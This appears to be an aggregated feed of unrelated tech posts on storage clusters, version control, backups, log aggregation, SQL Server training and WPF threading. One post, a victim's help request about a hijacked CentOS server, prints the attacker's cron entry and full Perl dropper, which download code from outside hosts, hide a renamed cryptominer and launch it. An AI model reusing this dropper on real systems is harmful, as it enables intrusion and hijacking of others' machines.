  At my organization we have a processing and storage system spread across two dozen linux machines that handles over a petabyte of data. The system right now is very ad-hoc; processing automation and data management is handled by a collection of large perl programs on independent machines. I am looking at distributed processing and storage systems to make it easier to maintain, evenly distribute load and data with replication, and grow in disk space and compute power. The system needs to be able to handle millions of files, varying in size between 50 megabytes to 50 gigabytes. Once created, the files will not be appended to, only replaced completely if need be. The files need to be accessible via HTTP for customer download. Right now, processing is automated by perl scripts (that I have complete control over) which call a series of other programs (that I don't have control over because they are closed source) that essentially transforms one data set into another. No data mining happening here. Here is a quick list of things I am looking for: Reliability: These data must be accessible over HTTP about 99% of the time so I need something that does data replication across the cluster. Scalability: I want to be able to add more processing power and storage easily and rebalance the data on across the cluster. Distributed processing: Easy and automatic job scheduling and load balancing that fits with processing workflow I briefly described above. Data location awareness: Not strictly required but desirable. Since data and processing will be on the same set of nodes I would like the job scheduler to schedule jobs on or close to the node that the data is actually on to cut down on network traffic. Here is what I've looked at so far: Storage Management: GlusterFS: Looks really nice and easy to use but doesn't seem to have a way to figure out what node(s) a file actually resides on to supply as a hint to the job scheduler. GPFS: Seems like the gold standard of clustered filesystems. Meets most of my requirements except, like glusterfs, data location awareness. Ceph: Seems way to immature right now. Distributed processing: Sun Grid Engine: I have a lot of experience with this and it's relatively easy to use (once it is configured properly that is). But Oracle got its icy grip around it and it no longer seems very desirable. Both: Hadoop/HDFS: At first glance it looked like hadoop was perfect for my situation. Distributed storage and job scheduling and it was the only thing I found that would give me the data location awareness that I wanted. But I don't like the namename being a single point of failure. Also, I'm not really sure if the MapReduce paradigm fits the type of processing workflow that I have. It seems like you need to write all your software specifically for MapReduce instead of just using Hadoop as a generic job scheduler. OpenStack: I've done some reading on this but I'm having trouble deciding if it fits well with my problem or not. Does anyone have opinions or recommendations for technologies that would fit my problem well? Any suggestions or advise would be greatly appreciated. Thanks!

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• Choice and setup of version control

  - by Peter M

  I am about to set up an new laptop and in the process transition to a new version control system as part of a general cleanup. Currently I use a centralized version control system (yes it is VSS, and yes I know all the pro's and con's of that system, but as a single user system it works well for me). I have very little requirements for a new system and I am free to choose among any of the current mainstream players, but cost constraints will push me towards oss. Some of my requirements are: Runs on a single machine (ie the laptop in question) under windows I am not sharing things with other developers or workers - this is more for my own historical benefits. I want to version source code, documentation and binary files I have a large hierarchy of projects that are unrelated (see below) I have files within the hierarchy that don't need to be controlled (but could be) Some projects use Visual Studio, so some integration there could be nice. There could be some sharing of files between jobs. I generally only need a small about of branching in code files The directory hierarchy that I have at the moment is somewhat like: Root | |--Customer #1 | | | |--Job #1 | | | | | |--Data files received from Customer for Job (not controlled) | | |--Documentation files (controlled) | | |--Project information files (not controlled - but could be) | | |--Software Project Files (controlled) | | |--Scratch dir for job (not controlled) | | | |--Job #2 | | (same structure as above) | |--Customer #2 | |.. | |--Cusmtomer #n |.. Currently I have about 22 customers with differing numbers of projects underneath them. At the moment I have a single VSS repository based at the root of the directory structure. If I kept with a centralized system (ie SVN) I believe that I should keep the same approach and continue with a single repository based from the root dir. Is this a valid approach? However if I move to a distributed tool then I am unsure of how I should handle the situation. My initial guess is that I should not have a repository based on the root of my entire directory structure - but that is a guess so I really don't know how valid it is. Should I pitch a distributed approach at the Root, Customer, Job or sub-Job directory level? Also what I am not clear on with distributed tools (and perhaps with SVN as well), is if I can branch parts of a repository. For example, I can see branching source code in software projects as being useful, but branching my documentation as not being useful. So if I pitch a repository at the Job level, can I just branch the Software Project Files? Or would all files in that Job be branched? Every time I look at distributed tools I get a nagging feeling that they are not suited to my style of setup. I am uncomfortable with idea of having to manually set up something like 50 to 80 separate repositories (if I pitch at the Job level, or 20+ if at the Customer level) within my directory hierarchy. This feeling also extends to having all those repositories scattered around as well - however I do have a backup strategy that I trust, so this latter feeling is pretty well unfounded. So what advice can you all give me? Thanks in advance!

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• ./kernelupdates 100% cpu usage

  - by Vaibhav Panmand

  I have a CENTOS6 server running with some wordpress & tomcat websites. In the last two days it has been crashing continuously. After investigation we found that kernelupdates binary consuming 100% cpu on server. Process is mentioned below. ./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.9 -p passxxx But this process seems invalid kernel update. Might be server is compromised and this process is installed by hacker, So I've killed this process & removed apache user's cron entries. But somehow this process started again after couple of hours & cron entries also restored, I am searching for the thing which is modifying cron jobs. Does this process belong to a mining process? How can we stop cronjob modification and clean the source of this process? Cron entry (apache user) /6 * * * * cd /tmp;wget http://updates.dyndn-web.com/.../abc.txt;curl -O http://updates.dyndn-web.com/.../abc.txt;perl abc.txt;rm -f abc* abc.txt #!/usr/bin/perl system("killall -9 minerd"); system("killall -9 PWNEDa"); system("killall -9 PWNEDb"); system("killall -9 PWNEDc"); system("killall -9 PWNEDd"); system("killall -9 PWNEDe"); system("killall -9 PWNEDg"); system("killall -9 PWNEDm"); system("killall -9 minerd64"); system("killall -9 minerd32"); system("killall -9 named"); $rn=1; $ar=`uname -m`; while($rn==1 || $rn==0) { $rn=int(rand(11)); } $exists=`ls /tmp/.ice-unix`; $cratch=`ps aux | grep -v grep | grep kernelupdates`; if($cratch=~/kernelupdates/gi) { die; } if($exists!~/minerd/gi && $exists!~/kernelupdates/gi) { $wig=`wget --version | grep GNU`; if(length($wig>6)) { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;wget http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } else { if($ar=~/64/g) { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/64.tar.gz;tar xzvf 64.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } else { system("mkdir /tmp;mkdir /tmp/.ice-unix;cd /tmp/.ice-unix;curl -O http://5.104.106.190/32.tar.gz;tar xzvf 32.tar.gz;mv minerd kernelupdates;chmod +x ./kernelupdates"); } } } @prts=('8332','9091','1121','7332','6332','1332','9333','2961','8382','8332','9091','1121','7332','6332','1332','9333','2961','8382'); $prt=0; while(length($prt)<4) { $prt=$prts[int(rand(19))-1]; } print "setup for $rn:$prt done :-)\n"; system("cd /tmp/.ice-unix;./kernelupdates -B -o stratum+tcp://hk2.wemineltc.com:80 -u spdrman.".$rn." -p passxxx &"); print "done!\n"; Thanks in advance!

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• How to Eliminate Tape Backup and Off-site Storage Service?

  - by Daniel Lucas

  PLEASE READ UPDATE AT THE BOTTOM. THANKS! ;) Environment Info (all Windows): 2 sites 30 servers site #1 (3TB of backup data) 5 servers site #2 (1TB of backup data) MPLS backbone tunnel connecting site #1 and site #2 Current Backup Process: Online Backup (disk-to-disk) Site #1 has a server running Symantec Backup Exec 12.5 with four 1TB USB 2.0 disks. BE jobs for full backups run nightly on all servers in site #1 to these disks. Site #2 backs up to a central file server there using software they already had when we purchased them. A BE job pulls that data nightly to site #1 and stores them on said disks. Off-site Backup (tape) Connected to our backup server is a tape drive. BE backs up the external disks to tape once a week which gets picked up by our off-site storage company. Obviously we rotate two tape libraries, one is always here and one is always there. Requirements: Eliminate the need for tape and off-site storage service by doing disk-to-disk at each site and replicating site #1 to site #2 and vice versa. Software based solution as hardware options have been too pricey (ie, SonicWall, Arkeia). Agents for Exchange, SharePoint, and SQL. Some Ideas So Far: Storage DroboPro at each site with an initial 8TB of storage (these are expandable up to 16TB at present). I like these because they are rackmountable, allow disparate drives, and have iSCSI interfaces. They are relatively cheap too. Software Symantec Backup Exec 12.5 already has all the agents and licenses we need. I'd like to keep using it unless there is a better solution, similarly priced, that does everything BE does plus deduplication and replication. Server Because there is no more need for a SCSI adapter (for tape drive) we are going to virtualize our backup server as it is currently the only physical machine save for SQL boxes. Problems: When replicating between sites we want as little data as possible to go across the pipe. There is no deduplication or compression in what I have laid out here so far. The files being replicated are BE's virtual tape libraries from our disk-to-disk backup. Because of this each of those huge files will go across the wire every week because they change every day. And Finally, the Question: Is there any software out there that does deduplication, or at least compression, to handle just our site-to-site replication? Or, looking at our setup, is there any other solution that I am missing that might be cheaper, faster, better? Thanks. Sorry so long. UPDATE 2: I've set a bounty on this question to get it more attention. I'm looking for software that will handle replication of data between two sites using the least amount of data possible (either compression, deduplication, or some other method). Something similar to rsync would work but it needs to be native to Windows and not a port involving shenanigans to get up and running. Prefer a GUI based product and I don't mind shelling out a few bones if it works. Please, answers that meet the above criteria only. If you don't think one exists or if you think I'm being to restrictive keep it to yourself. If after seven days there is no answer at all, so be it. Thanks again everyone. UPDATE 2: I really appreciate everyone coming forward with suggestions. There is no way for me to try all of these before the bounty expires. For now I'm going to let this bounty run out and whoever has the most votes will get the 100 rep points. Thanks again!

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• Log transport and aggregation at scale

  - by markdrayton

  How're you analysing log files from UNIX/Linux machines? We run several hundred servers which all generate their own log files, either directly or through syslog. I'm looking for a decent solution to aggregate these and pick out important events. This problem breaks down into 3 components: 1) Message transport The classic way is to use syslog to log messages to a remote host. This works fine for applications that log into syslog but less useful for apps that write to a local file. Solutions for this might include having the application log into a FIFO connected to a program to send the message using syslog, or by writing something that will grep the local files and send the output to the central syslog host. However, if we go to the trouble of writing tools to get messages into syslog would we be better replacing the whole lot with something like Facebook's Scribe which offers more flexibility and reliability than syslog? 2) Message aggregation Log entries seem to fall into one of two types: per-host and per-service. Per-host messages are those which occur on one machine; think disk failures or suspicious logins. Per-service messages occur on most or all of the hosts running a service. For instance, we want to know when Apache finds an SSI error but we don't want the same error from 100 machines. In all cases we only want to see one of each type of message: we don't want 10 messages saying the same disk has failed, and we don't want a message each time a broken SSI is hit. One approach to solving this is to aggregate multiple messages of the same type into one on each host, send the messages to a central server and then aggregate messages of the same kind into one overall event. SER can do this but it's awkward to use. Even after a couple of days of fiddling I had only rudimentary aggregations working and had to constantly look up the logic SER uses to correlate events. It's powerful but tricky stuff: I need something which my colleagues can pick up and use in the shortest possible time. SER rules don't meet that requirement. 3) Generating alerts How do we tell our admins when something interesting happens? Mail the group inbox? Inject into Nagios? So, how're you solving this problem? I don't expect an answer on a plate; I can work out the details myself but some high-level discussion on what is surely a common problem would be great. At the moment we're using a mishmash of cron jobs, syslog and who knows what else to find events. This isn't extensible, maintainable or flexible and as such we miss a lot of stuff we shouldn't. Updated: we're already using Nagios for monitoring which is great for detected down hosts/testing services/etc but less useful for scraping log files. I know there are log plugins for Nagios but I'm interested in something more scalable and hierarchical than per-host alerts.

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• SQL SERVER – Developer Training Resources and Summary Roundup

  - by pinaldave

  It is always pleasure for any author when other renowned authors in the industry write about you. Earlier I wrote a five part blog series on Developer Training and I have received a phenomenal response to the series. I have received plenty of comments, questions and feedback. I thought it would be nice to sum up the whole series as well answer a few of the questions received. Quick Recap Developer Training - Importance and Significance - Part 1 In this part we discussed the importance of training in the real world. The most important and valuable resource any company is its employee. Employees who have been well-trained will be better at their jobs and produce a better product.  An employee who is well trained obviously knows more about their job and all the technical aspects. I have a very high opinion about training employees and it is the most important task. Developer Training – Employee Morals and Ethics – Part 2 In this part we discussed the most crucial components of training. Often employees are expecting the company to pay for their training and the company expresses no interest in training the employee. Quite often training expenses are the real issue for both the employee and employer. There are companies that pay for 100% of the expenses and there are employees who opt for training on their own expense during their personal time. Training is often looked at as vacation by employee and employers and we need to change this mind-set. One of the ways is to report back the learning to your manager and implement newly learned knowledge in day-to-day work. Developer Training – Difficult Questions and Alternative Perspective - Part 3 This part was the most difficult to write as I tried to address a few difficult questions and answers. Training is such a sensitive issue that many developers when not receiving chance for training think about leaving the organization. The manager often feels pressure to accommodate every single employee for training even though his training budget is limited. It is indeed the responsibility of the developer to get maximum advantage from the training. Training immediately helps organizations but stays as a part of an employee’s knowledge forever. Developer Training – Various Options for Developer Training – Part 4 In this part I tried to explore a few methods and options for training. The generic feedback I received on this blog post was short and I should have explored each of the subject of the training in details. I believe there are two big buckets of training 1) Instructor Lead Training and 2) Self Lead Training. The common element between both the methods is “learning material”. Learning material can be of any format – videos, books, paper notes or just a plain black board. Instructor-led training is a very effective mode but not possible every single time. During the course of the developer’s career, one has to learn lots of new technology and it is almost impossible to have a quality trainer available on that subject at that time. Books are most effective and proven methods, however, it always helps if someone explains the concepts of the book with a demonstration. In recent times I have started to believe in online trainings which leads to a hybrid experience. Online trainings take the best part of the books and the best part of the instructor-led training and gives effective training in a matter of hours. Developer Training – A Conclusive Summary- Part 5 In this part, I shared what I was continuously thinking about developer training. There is no better teacher than oneself. There is no better motivation than a personal desire to learn new technology. Honestly there is nothing more personal learning. That “change is the only constant” and “adapt & overcome” are the essential lessons of life. One cannot stop the learning and resist the change. In the IT industry “ego of knowing all” and the “resistance to change” are the most challenging issues. Once someone overcomes them, life is much easier. I believe that proper and appropriate high quality training can help to address the burning issues. Opinion of Friends I invited a few of my friends to express their opinion about developer training and here are their opinions. I am listing them here in the order of the blog post publishing date. Nakul Vachhrajani - Developer Trainings-Importance, Benefits, Tips and follow-up Nakul’s sums of many of the concepts which are complementary to my blog posts. Nakul addresses the burning question of developer training with different angles. I am personally very impressed by his following statement - “Being skilled does not mean having just a stack of certifications, but it also means having an understanding about the internals of the products that you are working on – and using that knowledge to improve the efficiency & productivity at the workplace in turn resulting in better products, better consulting abilities and a happier self.” Nakul also suggests the online training options of Pluralsight. Vinod Kumar - Training–a necessity or bonus Vinod Kumar comes up with excellent follow up on developer training. Vinod is known for his inspirational writing about SQL Server. Vinod starts with a story of a student who is extremely eager to learn the wisdom of life from a monk but the monk does not accept him as a disciple for a long time. The conversation between student and monk is indeed an essence of all learning. We all want to learn quickly and be successful but the most important thing in life is to have the right attitude towards learning and more so towards life. The blog post end with a very important thought about how to avoid the famous excuse – “I don’t have enough time.” Ritesh Shah - Training – useful or useless? Ritesh brings up very important concept related to training. Ritesh in his meticulous style explains why training is an important and lifelong process. Training must not stop at any age but should continue forever. The moment training stops, progress stops along with. Paras Doshi - Professional Development Resource Paras is known for his to–the-point writing, and has summarized the five part series very precisely. He read the five part series and created a digest summary of the blog post. If you are in a rush and have no time to read my five series – I suggest you read his blog post. Training Resources I am often asked what the best resources for learning new technology are. This is the most difficult question EVER. There are plenty of good training resources available. When it is about training our needs are different, our preference of learning is different and we all have an opinion. Additionally, we all are located in different geographic locations worldwide and there is no way one solution will fit all. However, let me list a few of the training resources which I have built so far and you can consume them if you find it relevant to your need. SQL Server Books SQL Server Interview Questions and Answers SQL Wait Stats SQL Programming Joes 2 Pros SQL Server Video Tutorials SQL Server Questions and Answers SQL Server Performance: Indexing Basics SQL Server Performance: Introduction to Query Tuning SQL in Sixty Seconds Series of Sixty Seconds Learning Video on YouTube Trust me worldwide web is very big and there are plenty of high quality learning materials available worldwide – trainer-led as well online. I suggest you explore various options and make the best choice for yourself. Remember, training is your personal journey and it should never stop. Are you ready? Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Developer Training, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• SQLAuthority News – Pluralsight Course Review – Practices for Software Startups – Part 1 of 2

  - by pinaldave

  This is first part of the two part series of Practices for Software Startup Pluralsight Course. The course is written by Stephen Forte (Blog | Twitter). Stephen Forte is the Chief Strategy Officer of the venture backed company, Telerik, a leading vendor of developer and team productivity tools. Stephen is also a Certified Scrum Master, Certified Scrum Professional, PMP, and also speaks regularly at industry conferences around the world. He has written several books on application and database development.  Stephen is also a board member of the Scrum Alliance. Startups – Everybodies Dream Start-up companies are an important topic right now – everyone wants to start their own business.  It is also important to remember that all companies were a start up at one point – from your corner store to the giants like Microsoft and Apple.  Research proves that not every start-up succeeds, in fact, most will fail before their first year.  There are many reasons for this, and this could be due to the fact that there are many stages to a start-up company, and stumbling at any of these stages can lead to failure.  It is important to understand what makes a start-up company succeed at all its hurdles to become successful.  It is even important to define success.  For most start-ups this would mean becoming their own independently functioning company or to be bought out for a hefty profit by a larger company.  The idea of making a hefty profit by living your dream is extremely important, and you can even think of start-ups as the new craze.  That’s why studying them is so important – they are very popular, but things have changed a lot since their inception. Starting the Startups Beginning a start-up company used to be difficult, but now facilities and information is widely available, and it is much easier.  But that means it is much easier to fail, also.  Previously to start your own company, everything was planned and organized, resources were ensured and backed up before beginning; even the idea of starting your own business was a big thing.  Now anybody can do it, and the steps are simple and outlines everywhere – you can get online software and easily outsource , cloud source, or crowdsource a lot of your material.  But without the type of planning previously required, things can often go badly. New Products – New Ideas – New World There are so many fantastic new products, but they don’t reach success all the time.  I find start-up companies very interesting, and whenever I meet someone who is interested in the subject or already starting their own company, I always ask what they are doing, their plans, goals, market, etc.  I am sorry to say that in most cases, they cannot answer my questions.  It is true that many fantastic ideas fail because of bad decisions.  These bad decisions were not made intentionally, but people were simply unaware of what they should be doing.  This will always lead to failure.  But I am happy to say that all these issues can be gone because Pluralsight is now offering a course all about start-ups by Stephen Forte.  Stephen is a start up leader.  He has successfully started many companies and most are still going strong, or have gone on to even bigger and better things. Beginning Course on Startup I have always thought start-ups are a fascinating subject, and decided to take his course, but it is three hours long.  This would be hard to fit into my busy work day all at once, so I decided to do half of his course before my daughter wakes up, and the other half after she goes to sleep.  The course is divided into six modules, so this would be easy to do.  I began the first chapter early in the morning, at 5 am.  Stephen jumped right into the middle of the subject in the very first module – designing your business plan.  The first question you will have to answer to yourself, to others, and to investors is: What is your product and when will we be able to see it?  So a very important concept is a “minimal viable product.”  This means setting goals for yourself and your product.  We all have large dreams, but your minimal viable product doesn’t have to be your final vision at the very first.  For example: Apple is a giant company, but it is still evolving.  Steve Jobs didn’t envision the iPhone 6 at the very beginning.  He had to start at the first iPhone and do his market research, and the idea evolved into the technology you see now.  So for yourself, you should decide a beginning and stop point.  Do your market research.  Determine who you want to reach, what audience you want for your product.  You can have a great idea that simply will not work in the market, do need, bottlenecks, lack of resources, or competition.  There is a lot of research that needs to be done before you even write a business plan, and Stephen covers it in the very first chapter. The Team – Unique Key to Success After jumping right into the subject in the very first module, I wondered what Stephen could have in store for me for the rest of the course.  Chapter number two is building a team.  Having a team is important regardless of what your startup is.  You can be a true visionary with endless ideas and energy, but one person can still not do everything.  It is important to decide from the very beginning if you will have cofounders, team leaders, and how many employees you’ll need.  Even more important, you’ll need to decide what kind of team you want – what personalities, skills, and type of energy you want each of your employees to bring.  Do you want to have an A+ team with a B- idea, or do you have a B- idea that needs an A+ team to sell it?  Stephen asks all the hard questions!  I was especially impressed by his insight on developing.  You have to decide if you need developers, how many, and what their skills should be. I found this insight extremely useful for everyday usage, not just for start-up companies.  I would apply this kind of information in management at any position.  An amazing team will build an amazing product – and that doesn’t matter if you’re a start-up company or a small team working for a much larger business. Customer Development – The Ultimate Obective Chapter three was about customer development. According to Stephen, there are four different steps to develop a customer base.  The first question to ask yourself is if you are envisioning a large customer base buying a few products each, or a small, dedicated base that buys a lot of your product – quantity vs. Quality.  He also discusses how to earn, retain, and get more customers.  He also says that each customer should be placed in a different role – some will be like investors, who regularly spend with you and invest their money in your business.  It is then your job to take that investment and turn it into a better product in the future.  You need to deal with their money properly – think of it is as theirs as investors, not yours as profit.  At the end of this module I felt that only Stephen could provide this kind of insight, and then he listed all the resources he took his information from.  I have never seen a group of people so passionate about their customers. It was indeed a long day for me. In tomorrow’s part 2 we will discuss rest of the three module and also will see a quick video of the Practices for Software Startup Pluralsight Course. Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Best Practices, PostADay, SQL, SQL Authority, SQL Query, SQL Server, SQL Tips and Tricks, T SQL, Technology

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• ParallelWork: Feature rich multithreaded fluent task execution library for WPF

  - by oazabir

  ParallelWork is an open source free helper class that lets you run multiple work in parallel threads, get success, failure and progress update on the WPF UI thread, wait for work to complete, abort all work (in case of shutdown), queue work to run after certain time, chain parallel work one after another. It’s more convenient than using .NET’s BackgroundWorker because you don’t have to declare one component per work, nor do you need to declare event handlers to receive notification and carry additional data through private variables. You can safely pass objects produced from different thread to the success callback. Moreover, you can wait for work to complete before you do certain operation and you can abort all parallel work while they are in-flight. If you are building highly responsive WPF UI where you have to carry out multiple job in parallel yet want full control over those parallel jobs completion and cancellation, then the ParallelWork library is the right solution for you. I am using the ParallelWork library in my PlantUmlEditor project, which is a free open source UML editor built on WPF. You can see some realistic use of the ParallelWork library there. Moreover, the test project comes with 400 lines of Behavior Driven Development flavored tests, that confirms it really does what it says it does. The source code of the library is part of the “Utilities” project in PlantUmlEditor source code hosted at Google Code. The library comes in two flavors, one is the ParallelWork static class, which has a collection of static methods that you can call. Another is the Start class, which is a fluent wrapper over the ParallelWork class to make it more readable and aesthetically pleasing code. ParallelWork allows you to start work immediately on separate thread or you can queue a work to start after some duration. You can start an immediate work in a new thread using the following methods: void StartNow(Action doWork, Action onComplete) void StartNow(Action doWork, Action onComplete, Action<Exception> failed) For example, ParallelWork.StartNow(() => { workStartedAt = DateTime.Now; Thread.Sleep(howLongWorkTakes); }, () => { workEndedAt = DateTime.Now; }); Or you can use the fluent way Start.Work: Start.Work(() => { workStartedAt = DateTime.Now; Thread.Sleep(howLongWorkTakes); }) .OnComplete(() => { workCompletedAt = DateTime.Now; }) .Run(); Besides simple execution of work on a parallel thread, you can have the parallel thread produce some object and then pass it to the success callback by using these overloads: void StartNow<T>(Func<T> doWork, Action<T> onComplete) void StartNow<T>(Func<T> doWork, Action<T> onComplete, Action<Exception> fail) For example, ParallelWork.StartNow<Dictionary<string, string>>( () => { test = new Dictionary<string,string>(); test.Add("test", "test"); return test; }, (result) => { Assert.True(result.ContainsKey("test")); }); Or, the fluent way: Start<Dictionary<string, string>>.Work(() => { test = new Dictionary<string, string>(); test.Add("test", "test"); return test; }) .OnComplete((result) => { Assert.True(result.ContainsKey("test")); }) .Run(); You can also start a work to happen after some time using these methods: DispatcherTimer StartAfter(Action onComplete, TimeSpan duration) DispatcherTimer StartAfter(Action doWork,Action onComplete,TimeSpan duration) You can use this to perform some timed operation on the UI thread, as well as perform some operation in separate thread after some time. ParallelWork.StartAfter( () => { workStartedAt = DateTime.Now; Thread.Sleep(howLongWorkTakes); }, () => { workCompletedAt = DateTime.Now; }, waitDuration); Or, the fluent way: Start.Work(() => { workStartedAt = DateTime.Now; Thread.Sleep(howLongWorkTakes); }) .OnComplete(() => { workCompletedAt = DateTime.Now; }) .RunAfter(waitDuration);   There are several overloads of these functions to have a exception callback for handling exceptions or get progress update from background thread while work is in progress. For example, I use it in my PlantUmlEditor to perform background update of the application. // Check if there's a newer version of the app Start<bool>.Work(() => { return UpdateChecker.HasUpdate(Settings.Default.DownloadUrl); }) .OnComplete((hasUpdate) => { if (hasUpdate) { if (MessageBox.Show(Window.GetWindow(me), "There's a newer version available. Do you want to download and install?", "New version available", MessageBoxButton.YesNo, MessageBoxImage.Information) == MessageBoxResult.Yes) { ParallelWork.StartNow(() => { var tempPath = System.IO.Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), Settings.Default.SetupExeName); UpdateChecker.DownloadLatestUpdate(Settings.Default.DownloadUrl, tempPath); }, () => { }, (x) => { MessageBox.Show(Window.GetWindow(me), "Download failed. When you run next time, it will try downloading again.", "Download failed", MessageBoxButton.OK, MessageBoxImage.Warning); }); } } }) .OnException((x) => { MessageBox.Show(Window.GetWindow(me), x.Message, "Download failed", MessageBoxButton.OK, MessageBoxImage.Exclamation); }); The above code shows you how to get exception callbacks on the UI thread so that you can take necessary actions on the UI. Moreover, it shows how you can chain two parallel works to happen one after another. Sometimes you want to do some parallel work when user does some activity on the UI. For example, you might want to save file in an editor while user is typing every 10 second. In such case, you need to make sure you don’t start another parallel work every 10 seconds while a work is already queued. You need to make sure you start a new work only when there’s no other background work going on. Here’s how you can do it: private void ContentEditor_TextChanged(object sender, EventArgs e) { if (!ParallelWork.IsAnyWorkRunning()) { ParallelWork.StartAfter(SaveAndRefreshDiagram, TimeSpan.FromSeconds(10)); } } If you want to shutdown your application and want to make sure no parallel work is going on, then you can call the StopAll() method. ParallelWork.StopAll(); If you want to wait for parallel works to complete without a timeout, then you can call the WaitForAllWork(TimeSpan timeout). It will block the current thread until the all parallel work completes or the timeout period elapses. result = ParallelWork.WaitForAllWork(TimeSpan.FromSeconds(1)); The result is true, if all parallel work completed. If it’s false, then the timeout period elapsed and all parallel work did not complete. For details how this library is built and how it works, please read the following codeproject article: ParallelWork: Feature rich multithreaded fluent task execution library for WPF http://www.codeproject.com/KB/WPF/parallelwork.aspx If you like the article, please vote for me.

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• B2B and B2C Commerce are alike… but a little different – Oracle Commerce named Leader in Forrester B2B Commerce Wave

  - by Katrina Gosek

  We weren’t surprised to see Oracle Commerce positioned as a Leader in Forrester’s first Commerce Wave focused on B2B, released earlier this month. The reports validates much of what we’ve heard from our largest customers – the world’s largest distribution, manufacturing and high-tech customers who sell billions of dollars of goods and services to other businesses through their Web channels. More importantly, the report confirms something very important: B2B and B2C Commerce are alike… but a little different. B2B and B2C Commerce are alike… Clearly, B2C experiences have set expectations for B2B. Every B2B buyer is a consumer at home and brings the same expectations to a website selling electronic components, aftermarket parts, or MRO products. Forrester calls these rich consumer-based capabilities that help B2B customers do their jobs “table stakes”: search & navigation, promotions, cross-channel commerce and mobile: “Whether they are just beginning to sell online or are in the late stages of launching a next-generation site, B2B eCommerce operations today must: offer a customer experience standard comparable to what leading b2c sites now offer; address the growing influence that mobile devices are having in the workplace; make a qualitative and quantitative business case that drives sustained investment.” Just five years ago, many of our B2B customers’ online business comprised only 5-10% of their total revenue. Today, when we speak to those same brands, we hear about double and triple digit growth in their online channels. Many have seen the percentage of the business they perform in their web channels cross the 30-50% threshold. You can hear first-hand from several Oracle Commerce B2B customers about the success they are seeing, and what they’re trying to accomplish (Carolina Biological, Premier Farnell, DeliXL, Elsevier). This momentum is likely the reason Forrester broke out the separate B2B Commerce Wave from the B2C Wave. In fact, B2B is becoming the larger force in commerce, expected to collect twice the online dollars of B2C this year ($559 billion). But a little different… Despite the similarities, there is a key and very important difference between B2C and B2B. Unlike a consumer shopping for shoes, a business shopper buying from a distributor or manufacturer is coming to the Web channel as a part of their job. So in addition to a rich, consumer-like experience this shopper expects, these B2B buyers need quoting tools and complex pricing capabilities, like eProcurement, bulk order entry, and other self-service tools such as account, contract and organization management.  Forrester also is emphasizing three additional “back-end” tools and capabilities their clients say they need to drive growth in their B2B online channels: i) product information management (PIM), which provides a single system of record for large part lists and product catalogs; ii) web content management (WCM), needed to manage large volumes of unstructured marketing information, and iii) order management systems (OMS), which manage and orchestrate the complex B2B order life cycle from quote through approval, submission to manufacturing, distribution and delivery.  We would like to expand on each of these 3 areas: As Forrester highlights, back-end PIM is definitely needed by B2B Commerce providers. Most B2B companies have made significant investments in enterprise-grade PIMs, given the importance of product data management for aggregation and syndication of content, product attribution, analytics, and handling of complex workflows. While in principle it may sound appealing to have a PIM as part of a commerce offering (especially for SMBs who have to do more with less), our customers have typically found that PIM in a commerce platform is largely redundant with what they already have in-place, and is not fully-featured or robust enough to handle the complexity of the product data sets that B2B distributors and manufacturers usually handle. To meet the PIM needs for commerce, Oracle offers enterprise PIM (Product Hub/Fusion PIM) and a robust enterprise data quality product (EDQP) integrated with the Oracle Commerce solution. These are key differentiators of our offering and these capabilities are becoming even more tightly integrated with Oracle Commerce over time. For Commerce, what customers really need is a robust product catalog and content management system for enabling business users to further enrich and ready catalog and content data to be presented and sold online.  This has been a significant area of investment in the Oracle Commerce platform , which continue to get stronger. We see this combination of capabilities as best meeting the needs of our customers for a commerce platform without adding a largely redundant, less functional PIM in the commerce front-end.   On the topic of web content management, we were pleased to see Forrester recognize Oracle’s unique functional capabilities in this area and the “unique opportunity in the market to lead the convergence of commerce and content management with the amalgamation of Oracle Commerce with WebCenter Sites (formally FatWire).” Strong content management capabilities are critical for distributors and manufacturers who are frequently serving an engineering audience coming to their websites to conduct product research in search of technical data sheets, drawings, videos and more. The convergence of content, commerce, and experience is critical for B2B brands selling online. Regarding order management, Forrester notes that many businesses use their existing back-end enterprise resource planning (ERP) systems to manage order life cycles.  We hear the same from most of our B2B customers, as they already have an ERP system—if not several of them—and are not interested in yet another one.  So what do we take away from the Wave results? Forrester notes that the Oracle Commerce Platform “has always had strong B2B commerce capabilities and Oracle has an exhaustive list of B2B customers using the solution.”  What makes us excited about developing leading B2B solutions are the close relationships with our customers and the clear opportunity in the market – which we’ll address in an exciting new release in the coming months. Oracle has one of the world’s largest B2B customer bases, providing leading solutions across key business-to-business functions – from marketing, sales automation, and service to master data management, and ERP.  To learn more about Oracle’s Commerce product vision and strategy, visit our website and check out these other B2B Commerce Resources: - 2013 B2B Commerce Trends Report - B2B Commerce Whitepaper: Consumerization, Complexity, Change - B2B Commerce Webcast: What Industry Trend Setters Do Right - Internet Retailer, Web Drives Sales for B2B Companies - Internet Retailer, The Web Means Business: B2B Companies Beef Up Their Websites, borrowing from b2c retailers and breaking new ground - Internet Retailer, B2B e-Commerce is poised for growth ----------THIS DOCUMENT IS FOR INFORMATIONAL PURPOSES ONLY AND MAY NOT BE INCORPORATED INTO A CONTRACT OR AGREEMENT 

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• SQL SERVER – Extending SQL Azure with Azure worker role – Guest Post by Paras Doshi

  - by pinaldave

